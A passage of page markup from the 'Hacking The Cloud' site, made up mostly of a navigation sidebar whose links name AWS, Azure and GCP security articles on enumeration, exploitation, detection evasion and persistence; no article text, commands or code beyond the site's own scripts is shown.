light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5 checked> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=true> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> 